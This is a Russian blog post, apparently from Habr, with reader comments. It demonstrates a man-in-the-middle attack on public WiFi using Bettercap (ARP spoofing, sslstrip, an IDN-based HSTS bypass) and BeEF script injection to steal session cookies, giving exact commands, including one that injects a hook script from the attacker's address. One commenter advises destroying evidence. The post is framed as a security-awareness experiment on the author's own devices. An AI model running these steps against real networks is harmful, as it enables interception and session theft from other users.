Вскрытие трафика в публичных сетях +60


AliExpress RU&CIS



Эта статья о том, как стать кулхацкером (или по-английски Script Kiddie) — условным злоумышленником, который испытывает недостаток знаний в области программирования и использует существующее программное обеспечение, чтобы провести атаку на смартфоны и планшеты своих одноклассников.

Шучу. На самом деле передо мной стояла задача понять две вещи:

  1. Насколько опасно пользоваться публичным WiFi в 2020 году, в мире где господствуют браузеры и сайты с повсеместно победившими технологиями HTTPS (на основе TLS 1.1+) и HSTS
  2. Сможет ли человек моего уровня знаний (не самого высокого) “залезть” в чужой браузер и стащить ценные данные.

Спойлер
А в спойлере спойлер:
  1. Да, Опасно!
  2. Вполне сможет

Отправная точка


Сразу скажу, что хотя часть моих опытов проводил в настоящих публичных сетях, “неправомерный доступ” я получал только к браузерам своих собственных устройств. Поэтому фактически Главу 28 УК РФ я не нарушал, и Вам настоятельно нарушать не советую. Данный эксперимент и статья предлагаются к ознакомлению исключительно в целях демонстрации небезопасности использования публичных беспроводных сетей.

Итак, в чем собственно проблема для хакера, если в трафик в открытых беспроводных сетях легко перехватить любым сниффером? Проблема в том, что в 2020 году почти все (99%) сайты используют HTTPS и шифруют весь обмен данными между сервером и браузером потенциальной “жертвы” индивидуальным ключом по довольно свежему протоколу TLS. TLS даёт возможность клиент-серверным приложениям осуществлять связь в сети таким образом, что нельзя производить прослушивание пакетов и осуществить несанкционированный доступ. Точнее прослушивать-то можно, но толка в этом нет, так как зашифрованный трафик без ключа для его расшифровки бесполезен.

Более того, во всех современных браузерах реализован механизм HSTS ( HTTP Strict Transport Security), принудительно активирующий защищённое соединение через протокол HTTPS и обрывающий простое HTTP-соединение. Данная политика безопасности позволяет сразу же устанавливать безопасное соединение вместо использования HTTP-протокола. Механизм использует особый заголовок Strict-Transport-Security для принудительного использования браузером протокола HTTPS даже в случае перехода по ссылкам с явным указанием протокола HTTP (http://). Исходный вариант HSTS не защищает первое подключение пользователя к сайту, что оставляет лазейку для хакеров, и злоумышленник может легко перехватить первое подключение, если оно происходит по протоколу http. Поэтому для борьбы с этой проблемой большинство современных браузеров использует дополнительный статический список сайтов (HSTS preload list), требующих использования протокола https.

Чтобы как-то перехватить вводимые пароли или украсть cookies жертвы нужно как-то влезть в браузер жертвы или добиться, чтобы протокол шифрования TLS не использовался. Мы сделаем обе вещи сразу. Для этого мы применим метод атаки “человек посередине” (MitM). Оговорюсь, что наша атака будет довольно низкопробной, потому что мы будем использовать готовые “конструкторы-полуфабрикаты” из журнала “Хакни Сам” практически без какой-либо доработки. Настоящие хакеры вооружены более качественно, а мы только играем роль низкоквалифицированных кулхацкеров, чтобы проиллюстрировать степень небезопасности публичных современных беспроводных сетей.

Железо


В качестве инструментария для эксперимента я использовал следующий инструментарий:

  • Любая публичная WiFi сеть на фудкорте
  • Нетбук Acer Aspire one D270
  • Встроенная wifi карта Atheros AR5B125
  • Внешний wifi usb адаптер WiFi TP-LINK Archer T4U v3
  • Внешний wifi usb адаптер TP-LINK Archer T9UH v2
  • Kali Linux c версией ядра 5.8.0-kali2-amd64
  • Фреймворк Bettercap v2.28
  • Фреймворк BeEF 0.5
  • Несколько смартфонов и планшетов на Android 9 и ноутбук на Windows 7 в качестве устройств-жертв.

Зачем так много wifi-карт? Да потому, что в процессе экспериментов я наступил на кучу граблей и пытался сэкономить. Оказалось, хорошая WiFi-карта — главный инструмент успешного злоумышленника. Тут целый ряд проблем: карта должна поддерживать мониторинг (monitor) и точки доступа (AP), для нее должны быть драйвера под вашу версию ядра Linux, у карты должна быть хорошая антенна и возможность управления мощностью сигнала. Если не хотите лишних граблей — берите дорогой адаптер из самого верха этого списка и не забудьте проверить наличие драйвера именно для вашей аппаратной ревизии карточки.

У встроенной карты Atheros AR9485 была великолепная поддержка всех режимов и драйвер “из коробки” в Kali, но невозможность управлять мощностью сигнала и слабая антенна сводили на нет эффективность данной карты на фазе активного вмешательства в трафик.

У WiFi TP-LINK Archer T4U v3 не было драйвера из коробки, а тот который я нашел на Github, не имел поддержки режима точки доступа (AP) и его нужно было компилировать самостоятельно.

Карточка TP-LINK Archer T9UH v2 заработала идеально с драйвером из коробки, на ней то у меня все и получилось.

Софт



Первым делом я установил Kali Linux 5.8.0 на свой ноутбук. Единственный SSD в ноутбуке был пустым и предназначался целиком для эксперимента, что избавило меня от некоторых трудностей с разбивкой разделов и резервным копированием старых данных с него, поэтому при установке я использовал все варианты “по умолчанию”. Я все же столкнулся некоторыми тривиальными проблемами вроде потери монтирования флешки с дистрибутивом в процессе установки и обновления системы до последней актуальной версии из репозитория.


Затем нужно было запустить инструменты проникновения, ими будут Bettercap и BeEF. С их помощью мы принудим браузеры “жертв” отказаться от шифрования трафика и внедрим в просматриваемые сайты троянский JavaScript.

Bettercap — это полный, модульный, портативный и легко расширяемый инструмент и фреймворк с диагностическими и наступательными функциями всех видов, которые могут понадобиться для выполнения атаки “человек посередине”. Bettercap написан на Go, основная разработка проекта проходила до 2019 года, сейчас происходят лишь небольшие исправления. Однако, как мы увидим позднее этот инструмент в быстро меняющемся мире информационной безопасности сохраняет свою актуальность и на закате 2020 года. Bettercap поставляется со встроенным модулями arp spoof и sslstrip. Именно Bettercap должен перехватывать трафик и внедрять в него вредоносную нагрузку.

SSlstrip — это специализированный прокси-сервер, который позволяет организовать один из способов обхода HTTPS для перехвата трафика — разбиение сессии пользователя на два участка… Первый участок от клиента до прокси сервера будет идти по протоколу HTTP, а второй участок, от прокси до сервера будет проходить, как и должен, по шифрованному соединению. SSLstrip позволяет разрезать сессию “жертвы” на две части и перехватить трафик для дальнейшего анализа, а также предоставлять автоматические редиректы на динамически создаваемые HTTP двойники страниц.

arp spoof перехватывает пакеты в локальной проводной или беспроводной сети с коммутацией. arpspoof перенаправляет пакеты от целевого хоста (или всех хостов) сети, предназначенные для другого хоста в этой сети, путём подмены ARP ответов. Это очень эффективный способ сниффинга трафика на коммутаторе или wifi-роутере.

BeEF — это фреймворк, позволяющий централизованно управлять пулом зараженных через XSS-атаку (сross-site scripting) клиентов, отдавать им команды и получать результат. “Злоумышленник” внедряет на уязвимый сайт скрипт hook.js. Скрипт hook.js из браузера “жертвы” сигналит управляющему центру на компьютере “злоумышленника” (BeEF) о том, что новый клиент онлайн. “Злоумышленник” входит в панель управления BeEF и удаленно управляет зараженными браузерами.

Я использовал версии Bettercap v2.28 и BeEF 0.5 Они оба уже есть в составе Kali Linux 5.8.0
Открываем окно командной строки и вводим команду

sudo beef-xss


Стартует первая часть нашего зловредного бутерброда — фреймворк BeEF.

Теперь запустим браузер (в Kali Linux обычно это Firefox), переходим по адресу http://127.0.0.1:3000/ui/panel, логин и пароль по умолчанию beef:beef, после чего мы попадаем в контрольный пункт управления нашей атаки.


Оставляем вкладку с BeEF открытой, мы в нее вернемся позже.

Перейдем к второй части бутерброда — Bettercap. Тут был подводный камень — Bettercap, уже имевшийся в системе, отказывался стартовать сервисом и выдавал другие непонятные мне ошибки. Поэтому я его решил удалить и поставить заново вручную. Открываем окно командной строки и выполняем команды:

sudo apt remove bettercap
sudo rm /usr/local/bin/bettercap

Затем скачиваем браузером бинарную версию Bettercap v2.28 в архиве в папку загрузки. Обратите внимание, что я выбрал версию для своей архитектуры ядра.

Теперь распаковываем и размещаем исполняемый файл в системе Bettercap в папку, предназначенную для ручной установки.

сd  загрузки
unzip bettercap_linux_amd64_v2.28.zip
sudo mv bettercap /usr/local/bin/

Самый простой способ начать работу с Bettercap — использовать его официальный веб-интерфейс пользователя. Веб-интерфейс работает одновременно с сервисом rest API и интерактивной сессией командной строки. Чтобы установить веб-интерфейс нужно выполнить команду:

sudo bettercap -eval "caplets.update; ui.update; q"

Внимание! Уже на этом этапе нужно обязательно подключиться к атакуемой беспроводной сети, получить ip-адрес для беспроводного интерфейса атакующей машины и запомнить его (команда ifconfig поможет его узнать).

Bettercap понимает как отдельные команды из командной строки так и каплеты. Каплет — это просто текстовый файл со списком команд, которые будут выполнены последовательно. Для запуска веб-интерфейса используется http-ui caplet. Посмотреть и изменить учетные данные по умолчанию в нем можно по пути /usr/local/share/bettercap/caplets/http-ui.cap. Запуск Bettercap с веб интерфейсом модулями api.rest и http.server 127.0.0.1 производится командой

sudo bettercap -caplet http-ui


Теперь можно открыть в браузере еще одну вкладку с адресом 127.0.0.1 (без номера порта!) и войти в систему, используя учетные данные, которые были подсмотрены или настроены на предыдущем шаге (обычно это user/pass).


Веб-интерфейс Bettercap полностью дублирует командную строку, поэтому все действия которые мы будем делать из командной строки, можно сделать и из веб-интерфейса (запуск модулей, смена режимов, просмотр изменение значение переменных, вывод диагностической информации)

Продолжаем в командной строке и проведём первоначальную разведку беспроводной сети, к которой мы уже подключены в качестве обычного клиента.

net.recon on
net.probe on
Net.show
net.recon off

net.recon on — Запускает обнаружение сетевых хостов.
net.probe on — Запускает активное зондирование новых хостов в сети через отправку фиктивных пакетов каждому возможному IP в подсети.
net.show — Даёт команду отобразить список кэша обнаруженных хостов.
net.probe off — Выключает модуль активного зондирования.
Настраиваем переменные Bettercap, чтобы он:

  • работал как прозрачный прокси (transparent proxy) и “отключал” шифрование браузерного обмена “жертв” модулем sslstrip,
  • внедрял им вредоносную нагрузку (http://192.168.0.103/hook.js — скрипт BeEF, используйте IP, выданный роутером вашему адаптеру в атакуемой сети),
  • обходил механизм HTST методом замены адреса в адресной строке браузера жертвы на похожие интернационализированные символы.

Команды:

set http.proxy.sslstrip true
set http.proxy.injectjs http://192.168.0.103/hook.js
set http.proxy.sslstrip.useIDN true

Затем запускаем атаку против пользователей беспроводной сети:
Команды

arp.spoof on
http.proxy on


arp.spoof on — Запускает отравление ARP кеша устройств “жертв”, этот модуль перенаправлять трафик на беспроводной интерфейс “злоумышленника”
http.proxy on — Запускает прозрачный прокси, этот модуль создает прокси сервер, который будет ловить весь переадресованный трафик и модифицировать его в интересах “злоумышленника”.
“Жертвы” начинают пользоваться интернетом, заходить на сайты, и в случае успеха атаки будут лишены транспортного шифрования (а значит станут доступны для прямого прослушивания любым сниффером) и будут получать себе вредоносный скрипт BeEF. Скрипт BeEF, выполнялась в контексте домена, в чью страницу он был внедрен, может выполнить много разных действий, например утащить cookies или украсть вводимые пароли.


Как и положено наспех сделанному бутерброду, атака сработает далеко не на все сайты. Например, крайне маловероятно провернуть атаку с одним из сайтов Google, так как в браузере уже есть список HSTS preload list для некоторых сайтов. Но вот “хайджекнуть” Рамблер или Coub.com оказалось вполне возможно! Если мы попросим “жертву” (социальная инженерия, куда ж без нее) открыть адрес Ro.ru, или вдруг она сама это сделает, то произойдет вот что:



Весь трафик жертвы на сайт rambler.ru летит по воздуху открытым текстом и его можно прослушать любым сниффером. В то время как в браузере “жертвы” не будет почти никаких признаков беды, кроме малозаметного треугольника и еще одного странного символа в конце адресной строки.


А на машине “злоумышленника” в контрольной панели фреймворка BeEF, в разделе Online Browsers тем временем появится запись о новом браузере, пойманном на крючок. Выбираем этот браузер мышью, переходим в суб-вкладку Commands, на каталог Browsers, потом последовательно Hooked domain > Get Cookie > Execute


Раз, и парой парой кликов мышки мы украли у жертвы сессионные cookies сайта Rambler.ru. Теперь мы можем попытаться вставить их в свой браузер и попасть в сессию жертвы. И это только вершки! А ведь в арсенале BeEF еще несколько сотен различных “команд”, которые мы можем отправить “пойманному” браузеру: различные варианты фишинга, кража паролей, рикролы, редиректы, эксплоиты…

Выводы


Выводы по результатам эксперимента неутешительные. Браузеры еще не могут на 100% защитить пользователей от вмешательства в трафик или подмены настоящего сайта фишинговым. Механизм HSTS срабатывает только для пары тысяч самых популярных сайтов и оставляет без надежной защиты миллионы других. Браузеры недостадочно явно предупреждают о том, что соединение с сервером не зашифровано. Еще хуже дело обстоит в беспроводных сетях, где доступ к среде передачи данных есть у любого желающего, при этом почти никто из пользователей вообще никак не проверяет подлинность самой точки доступа, а надежных методов проверки подлинности точек доступа просто не существует.






Комментарии (22):

  1. staticmain
    /#22228812

    Первым делом я установил Kali Linux 5.8.0 на свой ноутбук.
    Зачем? Kali разработан для того, чтобы загружаться с флешки а после «работы» слить эту флешку в унитаз.

    В то время как в браузере “жертвы” не будет почти никаких признаков беды, кроме малозаметного треугольника и еще одного странного символа в конце адресной строки.

    Ну то есть внимательные пользователи прекрасно видят что осуществляется MitM-атака.

    • Andy_U
      /#22228912

      А для не очень внимательных есть плагин к Firefox HTTPS Everywhere.

    • michisvlad
      /#22240072

      Зачем сливать флешку в унитаз? O_o

      • staticmain
        /#22240118

        Уничтожать ее другим методом чтобы уничтожить вещдок трудно, тем более нужно куда-то девать осколки. Если вас видели в условном МакДональдсе с ноутбуком в котором была воткнута флешка то уже не смогут что-то доказать, поскольку самой флешки нет (и никогда не было). Удачи им искать ее в сточных водах без GPS. А если осколки этой флешки будут например в баке перед домом то это уже может служить косвенным доказательством того, что вы уничтожили вещдок, потому что занимались чем-то нелегальным.

  2. cheebo
    /#22228942

    Слишком нагнетающая статья. Всё не так уж плохо.
    Уже на этой стадии вы потерпите неудачу:

    Затем запускаем атаку против пользователей беспроводной сети:
    Команды

    arp.spoof on
    http.proxy on

    т.к. большинство уважающих себя администраторов ТД ставят изоляцию клиентов от локальной сети. Благо такая функция есть даже в самых дешёвых домашних роутерах.

    И, в целом, население стало более образованным в плане цифровой гигиены. Весь банкинг и всё чувствительное хорошо защищено и перешло в формат приложений. А сессия от плохих почтовых сервисов злоумышленникам ни к чему)

    Но, т.к. вы сразу обговорили школьный уровень «кулхацкера», то всё норм) От хорошего хакера нет защиты, если атаку проводить в комплексе. И конечно же надо боятся бесплатного интернета)

    Вечные весы: на одной чаше удобство на второй безопасность…

    • fapsi
      /#22230262

      Ну, перехват токенов аккаунтов приложений Я.Деньги и т.д., например. Если, конечно, эти токены не потеряют работоспособность на другом устройстве.

    • Jeditobe
      /#22230454

      На основе чего работает изоляция? Речь же вроде идет о ловле и изменении трафика от других беспроводных клиентов на этой же точке доступа.

      • rionnagel
        /#22230652

        Ну например на основе того, что вы не получаете arp кэш от точки (например на интерфейсе режим reply-only), разрешение мака-адреса только опцией через dhcp клиент. Вам просто не прилетают arp запросы от других устройств, даже если вы готовы на всё реплаями отвечать. Также есть вероятность того, что на все ваши arp'ы вам будет просто отвечать сама точка. Тут как настроят, я думаю варианты есть. Можно просто определять и блочить arp-spoofing, если вдруг изоляция клиентов в сети не нужна и если устройство позволяет.

        • HardWrMan
          /#22231712

          Изоляция отлично работает, ага. Я тут один кон даже наступил на эти грабли: купил фотопринтер с WiFi и такой «Сейчас я буду устанавливать все игры печатать с телефонов и ноутбуков!» А оказалось что принтера в сети нет. Минут 20 тыкался, пока не подключил ноут эзернетом и всё сразу заработало. И только потом пришло осознание включенной изоляции. Просто я ТД настроил как только установил и забыл.
          PS Выключать изоляцию, я конечно, не стал.

    • olekl
      /#22232624

      «т.к. большинство уважающих себя администраторов ТД» — а большинство неуважающих себя (и боюсь, их таки большинство) на это благополучно забивают, «работает же»…

    • stobaksov100
      /#22240070

      т.к. большинство уважающих себя администраторов ТД ставят изоляцию клиентов от локальной сети.

      прямо таки большинство?

  3. unwrecker
    /#22231412

    Плагин HTTPS Everywhere, получается, полностью отражает эту атаку.

    • Jeditobe
      /#22231520

      Одна беда — ни один сферический хомячок в вакууме его не юзает.

    • cheebo
      /#22231740

      Не только) Скажем так: должно совпасть очень много факторов «дурака в браузере», чтобы достать хоть что-то важное из такого вектора атаки

  4. SneakyJoe
    /#22232416

    Насколько VPN (L2TP, OpenVPN) подключенный сразу после коннекта к сети спасает от подобных атак?

    • cheebo
      /#22234022

      на 100%, но там вы на крючке у хостера VPN))

      • SneakyJoe
        /#22234078

        Утешает. Я больше доверяю иностранным провайдерам VPN из топ 5 или топ 10 подборок чем нашим родным сетям с логированием всего и вся.

        • qyix7z
          /#22235130

          Зря доверяете. Уже сколько было про сливы данных от провайдеров VPN и логирования всего даже из топа.
          Своя VPS с сервером VPN снимает крючок.

    • alelam
      /#22240066

      Если брать именно механизмы, расмотренные в статье, то VPN спасает на 100%.

  5. Xambey
    /#22234008

    Смешно на это все смотреть. Можно хоть 100 раз воровать трафик и так заморачиваться, но больше всего добьется злоумышленник, который просто свяжется с жертвой и обведет ее вокруг пальца за счет социальной инженерии. Каждый день мне такие специалисты названивают. Боюсь представить сколько людей ведется. Никакая защита не поможет от идиотов. Недавний 'взлом' через парадную дверь админки твиттера тому подтверждение.

  6. bal_square
    /#22240064

    Статья прикольная, не понял только момент, как летит трафик на рамблер с браузера пользователя, а как же CORS? Объясните